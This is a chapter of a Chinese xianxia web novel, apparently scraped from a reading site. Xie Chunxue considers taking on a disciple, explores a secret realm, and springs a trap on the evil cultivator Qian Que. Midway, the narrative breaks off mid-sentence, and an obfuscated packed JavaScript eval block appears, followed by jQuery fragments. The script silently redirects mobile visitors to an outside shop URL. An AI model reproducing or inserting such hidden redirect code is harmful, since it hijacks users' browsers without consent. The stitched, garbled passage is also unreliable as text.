这还是仇鸢第一次主动找她要东西。谢春雪让身边的徐舟来走远些,蹲下来和男孩平视,“是什么事呢?”
“我、我想成为您真正的弟子。”他声音变小了些,“可以么,老师?”
谢春雪陷入沉思。
修士可以有很多老师,但只会有一个师尊。愿意传授你某方面知识的都可以叫做老师,只有一直引领你在所选之道前行的才能称为师尊。
兼修两道的属于特殊情况。先教的当师尊,后来的只能叫老师了。
师尊对徒弟是终身负责制。可以说修仙界最牢固的关系除了道侣,就是师徒了。因此一般修士在收徒弟时再慎重都不为过。
其他人可能以为谢春雪对仇鸢,就像对之前的云水游和赤莲一样。寻摸出他擅长哪个方向,再询问对应的好友。
这段时间里已经把剑道排除了。仇鸢讨厌兵器。
她犹豫了很久。
仇鸢身上的疑点太多,不管给谁,都像送个定时炸弹出去。谢春雪不打算祸害好朋友。
可就这么当学生养着,对比风栖禾与越千山,他的心里迟早会失衡。说不定会去找别人当师尊。现在这样也好,反正她有能力兜底。
无论以后他是否会成为一个坏人,至少现在,他只是个孩子。
谢春雪不是因噎废食的人。
思绪纷杂,她很快理清。但短暂的沉默也让男孩控制不住地慌张,鼻尖和额头都渗出了汗珠。
“小鸢,你不善剑,想成为我真正的弟子,是欲修文道吗?”
他听出了什么,一个劲点头,目光希冀,“对,我想修文道,我想和老师学文!”
不说清楚点,他生怕神通广大的老师马上就联系一个文修来收人。
谢春雪没有一口答应,而是道,“我收徒弟是有条件的,你前面的师姐师兄都是攀过了几千层的登山阶,才拜入我座下。”
“我也可以——”
“那是对剑修的条件。”她不紧不慢地打断,“作为文修,想入我门中,须得对天道发下誓言,并且终身践行。”
仇鸢屏息凝神,洗耳恭听。满以为会听到什么高深玄奥的长篇大论。
“立心守正,执笔为人。”
谢春雪摸了摸他的头,“就八个字,但别急着答应。一生很长,先等你想清楚这句话是什么意思,告诉我答案后再做决定。”
“嗯!”他答应,垂着头认真琢磨去了。在窗边观望的师姐弟面面相觑,这是成了还是没成?
谢春雪起身,“收拾好了?”
“好了!”风栖禾跟越千山赶忙出来报到,“我们都好了。”
“那就走吧。”
这一次启程,大家都发现了一个明显的变化。
栾白在努力融入人群。
他开始主动和人交流沟通,也会帮着一起除魔卫道。关系缓和后,相较于两个大人,他反而和三个小的走得更近些。
当年姚玉她们在前面顶着,栾白被保护得太好了。凤凰的生长期更漫长,这家伙受挫几次后彻底丧失信心,天天待在圣域,其实和孩子也没区别。
估计一开始就觉得自己没办法成功。厉害的哥哥姐姐都没做到,他就更不可能做到了。
获得了部分凤凰传承记忆的谢春雪若有所思。
除了失去四颗灵珠,大陆灵气逸散,无法满足凤凰生长所需外。栾白应该是把土灵珠放入了灵台,用本源命火淬炼灵珠,延缓污染。
山穷水尽时,凤凰就会燃尽自己,为陆上的生灵争取最后一点逃离的时间。
姚玉担心弟弟找不到方向,这才留下了几根骨头和微弱的神魂,等他来寻。
结果一等了就等到现在,怨不得她生气。
姚玉脾气还是太好了,换她非得抽栾白一顿不可。
谢春雪心里想着,手上动作没停。
这是一个不知道名字的秘境,几人一起行动。小孩们还是以看为主,徐舟来带着三人认灵植和灵兽,如同郊游。她在找需要的东西。
“那边是七品的化气芝。”
谢春雪嗯了声,摘下手边的四品麻骨草。
见她并没有去拿的打算,栾白忍不住问道,“你为什么不拿品阶更高的灵植?”
最开始他还以为是这人没发现,结果她是知道了也不要。九品的都不要!
这完全不符合逻辑。在他仅有的几次和天命之子进秘境的经历里,所有人都是只拿好的。衬得谢春雪好像是来捡垃圾的……
女子回得很简洁,“不需要。”
凤凰宕机了。这是什么理由?
他蒙圈得太明显,谢春雪拍了拍手上的尘土,“字面意思。我如今的境界,外物已经没多大用了,没必要雁过拔毛。”
“那你拿的这些……?”看着更没用啊。
谢春雪晃了晃手里的草,“这个是纪年要的。刚才摘的果子没见过,口感不错,青兰应该会感兴趣。进来时打的一阶散刺豚,何奈的白虎喜欢吃。”
栾白默然。原来都是给别人拿的。
她分花拂柳,漫不经心道,“还有什么想问的?”
“似乎不需要每个秘境都进来一遍吧。”凤凰学会了委婉说话。
之前他拽得二五八万似得,张口就是“浪费时间”。谢春雪根本不惯着他,回敬一句“你活着也挺浪费时间”。骂又骂不过,给他气得当了一个月哑巴。
现在他会好声好气说人话了,她自然也就愿意解释。
“万一哪个秘境是魔修和魔族作恶的场所呢?”她神识往前探,没有回头,“就算没遇到,消息放出去,冰魄尊者和明光尊者正带着徒弟在不同秘境历练,也能对他们起到威慑作用。”
两个分神期剑修不定时随机进秘境,有点脑子的都该知道避避风头了。
栾白久久不语。他完全没想到还有这层考虑在。
“放心,不会耽搁多少时间的。”她语气平静,“我们走的是最短的路线。况且盈盈的灵器要做完了。等打击完诡计多端的邪修,剩下的两个不足为据。时间充足。”
“嗯。”他低低应声,“我相信你。”
谢春雪转头调侃,“灵兽大人,不说‘吾’了?”
凤凰恼羞成怒,去找风栖禾他们了。
确定秘境没问题后,谢春雪一行人离开这里,继续赶路。快到目的地时,接到百里寻的消息。
灵器都做好了,所有与会门派已通知到位,时间就定在三日后。
至于为什么是他传,因为百里盈和百里景全累趴下了。
谢春雪道谢后,腾出空间给千阙水镜传讯。
刚打通,她抢先开口,“怎么样,满意吗?”
对面懵了,“什么满意?”
她得意一笑,提示道,“仙盟的集会。”
对方愣了会儿,恍然大悟,“原来是你安排的?”
千阙刚陆陆续续收到通知,长老级别的内鬼都被安排去开会了,心里正疑窦丛生呢。这下总算解惑了。
他就说聂阴要名单之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794760|207761||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怎么一直没动静,原来是憋了个大的!
去的都是一个掌门加多个内鬼,到时候直接撕破脸,敌众我寡,岂不是仙门百家尽在掌握?
她继续道,“你也来,我就说你是我新认识的朋友。反正你没在人前露过脸,不怕被发现。到时候好一起指挥全场。”
千阙连连点头,热血沸腾,“你的计划是什么?我这就通知下去。”
谢春雪负手而立,一副胸有成竹的模样,笑道,“一切尽在掌握,哪需要那么麻烦。只等宴席尾声,所有人放松警惕时,摔杯为号。
哈哈哈,当然没那么简单。我会提前一天给你发消息,你来找我,我们再细细谋划一番,当场下达指令,免得走漏风声。”
千阙信服。两人又聊了几句目前的局势,魔修那边的动静,展望了一下美好的未来,才撤销水镜。
她摸了摸下巴,多亏师隐带着她观摩了许久,不然真没办法演那么像。
一行人通过阵法到了早已布好天罗地网的百味楼。处处张灯结彩,原来是在做百年店庆活动。
除了任何修士皆可进店免费领取三份特色新菜外,今年有门派的可以多领一杯饮品。若能提出较好的改进建议或试吃感想,有机会获得百味楼的贵宾令一枚。
消息一出,主楼和分楼都是热闹非凡,络绎不绝的修士大快朵颐。
只有一个地方算得上净土,那就是作为宴会场地的主楼四层。
角落氤氲轻烟的香炉里加满了舒缓的香料,其中一味就是麻骨草。足够掩盖浅淡的药味,麻痹来者的神经。
早就准备好的饭菜酒水全都加入了名为“正本清源药”的精华,筷子、酒杯等餐具也都被浸泡过。
出口包括上下两层都被阵法堵住,没留下任何空隙。
戏台搭好,只等请君入瓮。
两日转瞬即逝。千阙混在来百味楼的修士中毫不起眼。他分外小心,在一楼和二楼都徘徊了一阵,确定没有人注意他后,才小心地通过阵法传送上九楼。
这里没有其他人,聂阴背对着他,闲适地靠在椅背,望着窗外远山。桌上摆着两杯茶水,茶烟袅袅弥散。想来是为他准备的。
察觉到有人,那人转头,脸上挂着熟悉的笑容。
“来了?”
悬着的心终于落地。千阙阴郁的面容也露出笑意,“我……”
他忽然跪下,而后五体投地,只能勉强转动头颅,看着来者轻笑着步步走近。
分神期的神识如泰山压顶,他毫无反抗之力。只能勉强发出恼怒的声音,“聂阴,这不好笑!”
闻名遐迩的飞霜挑起他的下巴,凌冽的剑意透过皮肤,一路凉到心底。邪修惊骇抬头,对上一双戏谑的金瞳。
“是吗?我觉得挺好笑的啊。”她悠悠地说着让千阙想要吐血的话,“偷鸡不成蚀把米,夺舍不成被卧底。哎呀,传出去多让人笑话。”
谢春雪笑问,“亲手把自己的所有底牌拱手让人。这世上还会有比你更蠢的蠢货吗,千阙?”
“你到底——!”
“嘘。”
谢春雪用剑尖抵住他的唇,只要他继续说话,就会被变成兔子——三瓣嘴。
“让我看看你的记忆。唔,邪修对识海和神魂的防护果然严密,这都只是裂条缝。”
不能马上搜魂,她有些遗憾,“没关系,那就再请你看场好戏吧。名字就叫——”
金眸无悲无喜,俯视着面红耳赤、目眦欲裂的邪修。
“瓮中捉鳖。”